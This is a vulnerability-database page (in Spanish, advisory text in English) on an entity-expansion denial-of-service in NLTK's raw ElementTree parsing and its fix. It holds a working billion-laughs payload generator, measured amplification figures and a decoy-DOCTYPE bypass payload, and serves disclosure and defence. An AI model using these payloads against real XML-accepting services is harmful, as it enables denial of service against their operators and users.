Alta

NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

  • Publicada: 25.08.2026
  • Actualizado: 11.10.2026 15:17

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2):

  • nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML
  • nltk.internals.ElementWrapper — converts any given string to an Element
  • nltk.downloader — Package.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.


Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

levels input bytes expanded bytes factor
3 218 10,000 x45
4 274 100,000 x364
5 330 1,000,000 x3,030
6 386 (libexpat 2.7.1 cap trips) -

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

python
import xml.etree.ElementTree as ET
def bomb(levels):
    d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
    return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

python
evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec     -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) nltk < 3.10.3 3.10.3

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-776
Plataforma
Python (PyPI)
Paquete
nltk
Publicada
25.08.2026
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3748 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-97qj-x29f-37w7 - CC BY 4.0

Historial de vulnerabilidades: nltk

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (52) en el archivo
Entradas en total
52
Primera → última
08.2019 09.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 32
  • Media 13
  • Baja 2

Divulgaciones por año

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Gravedad:
  1. Alta · 7.0 CVE-2026-81726 <= 3.10.3 sin corrección
  2. Alta CVE-2026-79674 < 3.10.3 3.10.3
  3. NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses esta entrada
    Alta CVE-2026-78681 < 3.10.3 3.10.3
  4. Alta · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  5. Alta · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
Mostrar más (17) Mostrando 20 de 37

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.